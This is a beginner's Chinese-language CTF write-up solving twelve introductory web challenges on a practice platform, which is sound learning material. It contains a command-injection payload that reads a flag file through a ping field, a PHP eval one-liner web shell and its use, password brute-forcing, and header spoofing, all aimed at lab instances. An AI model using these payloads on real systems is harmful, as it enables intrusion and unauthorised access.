ctf web5 练习_CTF-攻防世界-WEB新手练习区 Writeup(12 题入门题)



注: 作者是CTF初学者, 边学习边记录, 如有错误或疏漏请批评指正, 也请各位大佬多多包涵。

攻防世界-WEB新手练习区 12题入门题 Writeup

(注意: 攻防世界WEB题每次生成场景后,有时flag会改变,因此flag不同不要在意,主要是学习解题思路和方法)



0X01view_source

X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

题目提示查看源码, 鼠标右键不管用, 用F12打开控制台

发现源码里有flag



FLAG is not here



cyberpeace{d8e1850dd09cba974a8ad6de6eecbc1d}

0x02robots

X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

根据提示(也可用御剑后台扫描得到),输入/robots.txt

绑定域名查询 批里扫	話台	批留检测注入	A 411 (A 417)			
		INCE WARLY	多种编码转换	1005解密相关	系统信息	
吸取绑定域名列表 开	始扫描	停止扫描 继续排	日描 暂停扫描	✓ 200 DIR. txt-可用	へ双 PHP. tx	t─使用
外部导入域名列表 模式	HEAD -	速度极快 🗸 线程 25	→ 超时 5 、	/ _ 403 MDB. txt-可用	~ 擢	
作业数量:1 扫描	信息:扫描	院成			扫描速	度: 0/每秒
http://220.249.52.133:3			地址		нт	rp响应
1	http:/	//220.249.52.133:3527	6/index.php			200
1						
3	http:/		200			

发现提示跳转f1ag_1s_h3re.php





cyberpeace{c50a53cfa6c67eeeb1cc277eb928352c}

0x03backup

X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

1.根据提示你知道index.php的备份文件名吗?

输入/index.php.bak

题目 × 备份文件 × + $(\leftarrow) \rightarrow$ C' Q 220.249.52.133:35737/index.php.bak 📄 火狐官方站点 🔞 新手上路 📄 常用网址 🛕 最常访问 📄 CTF 😳 新手上路 📄 常用网址 📩 哔哩哔哩 (*- *) つロ ... 🔟 首页 - 知乎 豆 豆瓣 🗎 ZS 🔝 淘宝网 - 淘! 我喜欢 🗾 京东

O C:\	Users\zs\Downloads\index.php(1).bak - EverEdit	-	
文件(F) 编辑(E) 查看(V) 查线(S) 文档(D) 工程(P) 工具(T) 扩展(A) 窗口(I) 帮助(H)		
/ - 1	🗎 🗄 🖉 🗞 🗓 🕶 🔜 🗛 🖓 🗞 🛱 📲 🎥 🌚 🌚 🍘 📽 💷 者 🗉 🦉 🔍		
1	<pre>khtml></pre>		
2-	<head></head>		1
3	<meta charset="utf-8"/>		
4	<title>备份文件</title>		
5	k href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />		
67	<style></style>		

2.下载文件,打开发现flag

Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

0x04cookie

X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:'这是夹心饼干的意思吗?

1.用BP抓包,发现cook中有cookie.php



2.用bp打开,看响应包,发现flag



cyberpeace{1e232d15d531d2ba1756beb8c857aa42}

0x05disabled_button

X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么 才能按下去呢?

1.打开网页,发现无法按下,查看源码进行分析

€ (D view-source:http://220.249.52.133:46294/ 🛛 🦉 🕈 🦉 🗸 🦉 🗸 🦉 🗸 🦉 🗸 🖉
の経用	i* ▲Cookies* 2CS5* ① 天色* 回開片* 副頭西信息* ■ 耳他功能* / 記/* / 協物* / 丁目* ■ 奇都遊作品* 点 洗酒*
INT	SOL BASICS* UNION BASED* FRROR/DOUBLE OURY* TOOLS* WAE BYPASS* ENCODING* HTML* ENCRYPTION* OTHER* XSS* LFI*
₫ 2	print over
•	xecute
	🗌 Post data 🔄 Referrer 🥌 ØxHEX 🥭 📹 %URL 🅭 📹 BASE64 🅭 Insert string to replace Insert replacing string 🗹 Replace All 🕭 🕭
Петс	Aut - Services- Checking http://220.249.52.133
-	
	A set of a set = 01° o / /+i+1 a _A f a the kin kind / (+i+1 a _
	(link braf "itth:/like baidu.com/hontetran/3.0.3/ccc/hontetran min.ccc" ral="etulachant" /)
	(etvla)
	bdy
	margin-left:auto:
	margin-right:auto:
	margin-TOP: 200PX;
	width: 20em;
	}
	<h3>一个不能按的按钮</h3>
	<form action="" method="post"></form>
	<pre><input class="btn btn-default" disabled="" name="auth" style="height:50px;width:200px;" type="submit" value="flag"/></pre>
	Autury

2.根据源码用post提交auth=flag,得到flag

INT	× 1	● SQL BASICS* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCODING* HTML* ENCRYPTION* OTHER* XSS* LFI*												
	.o <u>a</u> d URL Split URL Execute	view-source:http://220.249.52.133:46294/												
		🗹 Post data 🗌 Referrer 🥌 OxHEX 🗩 📹 %URL 🌦 📹 BASE64 🌦 Insert string to replace Insert replacing string 🔽 Replace All 🗩 🥭												
Post d	data	auth=flag												
Петс	CRAFT .	Services- Checking http://220.249.52.133												
1	<html></html>													
	<head></head>													
3	<me /+ :</me 	ta charset= 01F-8 〉 +1 系 任性的 性相 / (+:+1)												
5	(1)	Lie/ - / /HEISKUJIKH// LILE/												
	<st< td=""><td>Net reprint the state of the st</td></st<>	Net reprint the state of the st												
		body (
		margin-left:auto;												
9		margin-right:auto;												
		margin-TOP:200PX;												
		width:20em;												
	<td>tyle></td>	tyle>												
14														
	<body></body>													
	<h3>/</h3>	个不能按的按钮												
17														
	<form a<="" td=""><td>ction=~~ method=~post~ ></td></form>	ction=~~ method=~post~ >												
	<input< td=""><td>disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth" /></td></input<>	disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth" />												
	<h3>cyb</h3>	erpeace (d4b0680f557516481c6875e9f3a91687)												
	(/body)													

cyberpeace{d4b0680f557516481c6875e9f3a91687}

0x06weak_auth

小宁写了一个登陆验证页面,随手就设了一个密码。

1.先测试用户名,提示用户名为admin



2.用bp暴破密码,密码为123456



3.登录得到flag



cyberpeace {6dd2a521391ff29be16807c7bbb4ae83}

0x07command_execution

小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

1.可以ping127.0.0.1,测试常用命令

题目	× command execution	× +
← → ♂ ଢ	0 🔏 220.249.52.13	3 :52514
🛅 火狐官方站点 🔞 新手上路	📄 常用网址 🗘 最常访问 🛅 C	TF 🖨 新手上路 🗎 常用師
PING		
请输入需要ping的地址		
PING		
ping -c 3 127.0.0.1 PING 127.0.0.1 (127.0.0.1 64 bytes from 127.0.0.1: 64 bytes from 127.0.0.1: 64 bytes from 127.0.0.1:	<pre>l) 56(84) bytes of data. icmp_seq=1 ttl=64 time=0.055 icmp_seq=2 ttl=64 time=0.055 icmp_seq=3 ttl=64 time=0.055</pre>	9 ms 5 ms 8 ms
127.0.0.1 ping statis 3 packets transmitted, 3	stics received, 0% packet loss, ti	me 1999ms

构造127.0.0.1 | find / -name "flag*"



提示有 /home/flag.txt

2.构造127.0.0.1|cat /home/flag.txt

题目	×	comm	ı	×			
\leftrightarrow \rightarrow C \textcircled{a}			% 220	0.249	.52.133	:52514	
📄 火狐官方站点 🛭 💩 新手上路	┣ 常	用网址	✿ 最常	的问	🗎 CTF	新手上	
PING							

2.127.0.0.1|cat /home/flag.txt

PING

ping -c 3 2.127.0.0.1|cat /home/flag.txt
cyberpeace{55c6bea4ba417db7da3353608ad4798d}

cyberpeace{55c6bea4ba417db7da3353608ad4798d}

0x08simple_php

小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

1.代码审计,根据源码,构造get请求?a=0a&b[]=



Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

0x09get_post

X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?

1.根据提示,请用GET方式提交一个名为a,值为1的变量。构造?a=1

2.根据提示,请再以POST方式随便提交一个名为b,值为2的变量。

用火狐浏览器提交post b=2

POST&GET	× +		
€ () 220.2	49.52.133:48854/?a=1	📕 🖊 🏘 🖪 🧐 🔻 🔗 🔍	搜索
⊘禁用▼ ▲Cool INT ×	sies▼ 🗡 CSS▼ 📋表单▼ 🔤 图片▼ 🗊 网页信息▼ ■ ♦ SQL BASICS+ UNION BASED+ ERROR/DC	■其他功能▼ // 标记▼ // 缩放▼ 米工具▼ ■ 査看源代码 DUBLE QUERY・ TOOLS・ WAF BYPASS・ ENCODING・	▼选项▼ HTML▼ ENCRYPTION+ OTHER+ XSS+ L
 Load URL Split URL Execute 	http://220.249.52.133:48854/?a=1		
Post data	Dest data CReferrer COXHEX Desc	KURL S K BASE64 (Insert st	ring to replace Insert replacing string
RETCRAFT .	Services Checking http://220.249.52.133		

请用GET方式提交一个名为a,值为1的变量 请再以POST方式随便提交一个名为b,值为2的变量

cyberpeace{fb23b6d776f7b36e25c9d2aa957ab3d5}

3.得到flag

cyberpeace{fb23b6d776f7b36e25c9d2aa957ab3d5}

0x0axff_referer

X老师告诉小宁其实xff和referer是可以伪造的。

1.根据提示ip地址必须为123.123.123.123,在bp里添加XFF



2.根据提示必须来自https://www.google.com, BP添加referer参数



3.Flag为:

cyberpeace{5d49dbdbc5a577836f7913494e672d36}

0x0bwebshell

小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。

根据提示你会使用webshell吗? <?php @eval(\$_POST['shell']);?>

使用菜刀连接,密码为shell。

🗆 🔟 🖻	220. 249. 52. 133	+								
										星期
P#P http://22	20. 249. 52. 133: 48	133/	-	1 (0.0.0.0			2020-09-25	20:	
.₩ □ 编辑S)	œll.				×		T>ADO <td>2020-08-23</td> <td>18:</td> <td>1</td>	2020-08-23	18:	1
RSI +40+ch +	h++=-//220 249	52 133-481337			rhall		T>ADO <td>2020-08-23</td> <td>18:</td> <td></td>	2020-08-23	18:	
№ 配置:		02.103.401037				<	T>MYSQL<	2020-08-23	18:	
备注:					-					
	默认类别	PHP (Eval)) 💌 GB2312	▼ §	幕4章					

3.连接后在文件内找到flag.txt。

🔲 🔃 🚞 220. 249. 54	2.133 +					
🚞 /var/www/html/				± 🗸	读取	星
220. 249. 52. 133	目录(0),文件(2)	名称	时间	大小	属性	
		📄 flag. txt	2020-09-25 12:23:21	44	0664	
⊡ var ⊡ vww ⊘ <mark>html</mark>		📄 index. php	2018-09-27 04:02:04	539	0664	

cyberpeace{75762cef5afcc452956e498022e50470}



0x0csimple_js

小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxx})

← → ♂ ☆	🔏 vier	w-source:http://2	20.249.52.133:47476/				5	7	± ±	III\ ([]	0 1	• • ≡
🛅 火狐官方站点 🔞 新手上路	□ 常用网址 ↓	▶最常访问 🛅 CTF	◎ 新手上路 □ 常用同址	🛅 時睡時睡('- ')つロ	🔝 首页 - 知乎	豆 豆瓣 🛅 ZS	5 🔝 淘宝网 - 洵! 我喜欢	JD 京	练(ID.COM)-正品		≫ □移动	的设备上的书签
itle>JS												
cript type="text/javascr	ript >											
var mass = "70 65 85 8	IC/1 IS 32 80 65 8	3 83 87 79 82	68 32 72 65 72 65".									
var tab = pass_enc. sp	lit(',');	0,00,01,10,02,	00, 00, 12, 00, 12, 00 ,									
var tab2 = pass	s.split(',')	;var i, j, k, 1=0), m, n, o, p = "";i = 0;	<pre>j = tab.length;</pre>								
$k = j \cdot j \cdot j \cdot j$	+ (1) + (n=0	0:										
for (i	= (o=0); i <	(k = j = n);	i++) {o = tab[i-1];p	+= String. fromCharC	ode((o = tab2	[i]));						
	if(i -= 5)	break;}										
for(i	= (o=0); i <	(k = j = n);	i++){									
0 - 14	if(i > 5 &	& i ≤ k−1)										
	р	+= String. from	CharCode((o = tab2[i]));								
)) de Staine forsCharCa	4- (4-12[17])											
p == String. fromtharton pass = p:return pass:	de(tab2[17])											
here bleere breef												
ring["fromCharCode"](decl	hiffre("\x35	\x35\x2c\x35\x	36\x2c\x35\x34\x2c\x3	37\x39\x2c\x31\x31\x	35\x2c\x36\x3	9\x2c\x31\x	31\x34\x2c\x31\x31	\x36\x	2c\x31\x30\x37\x	2c\x34\;	(39\x2c\	x35\x30 [*])
= window.prompt('Enter pa ert(dechiffre(h));	assword');											

pt>

对话框点完后,右键查看源码,发现字符串(上面那串是假密码)cyberchef解码后得到密码786OsErtk12

									_										_
\leftrightarrow \rightarrow C \textcircled{a}	🗅 file	:///D:/CTF/tool/Cry	pto/CyberChef_v9.21.0/	CyberChef	v9.2	1.0.htm	nl#recipe=From	m_Hex("\\x)From	Decimal('0	Con ••• 1	2	盒	$^{\pm}$	III\		9 4	*	Ξ
🛅 火狐官方站点 🧕 新手上路 🗎 常用	网址 🕻	✿ 最常访问 管 CTF	◎ 新手上路 🛅 常用网址		2(*-	, םכן		乎 豆豆糖	🗎 ZS	🔝 淘宝网	海! 我喜欢	意 意东()	D.COM)-正显			>>	日移动	2备上的	計签
Version 9.21.0		Last	build: 3 months ago - v9 s	supports mu	ultiple	inputs	and a Node Al	PI allowing	you to p	program wi	th CyberCl	-		Opti	ons 🕻	A	bout / S	upport	0
Operations	î	Recipe		•			Input					start: 144 end: 144 length: 0	length: 1 lines:	1	+		Ð		=
Search		From Hex			0	п	\x35\x35\x3 \x2c\x31\x3	2c\x35\x3 31\x36\x2	9\x2c\x31 9\x2c\x35	\x31\x35\x \x30	2c\x	86\x39	x2c	\x31\x3	31\x34	ŀ			
Favourites	*	Delimiter																	
To Base64																			
From Base64		From Decimal			0	Ш													
To Hex		Delimiter Comma	Support sign	ned values															
From Hex																			
To Hexdump																			
From Hexdump																			
URL Decode													time	Jac		_			
Regular expression							Output						length: lines:	11	8		(†)	5	0
Entropy							7860sErtk12	2											
Fork																			

Flag为 Cyberpeace{786OsErtk12}

感谢阅览,希望本文对您的学习有所帮助。欢迎关注、点赞、评论、收藏、转发、引用,分享请注明原作者和 来源,谢谢!

作者: zs[CTF初学者]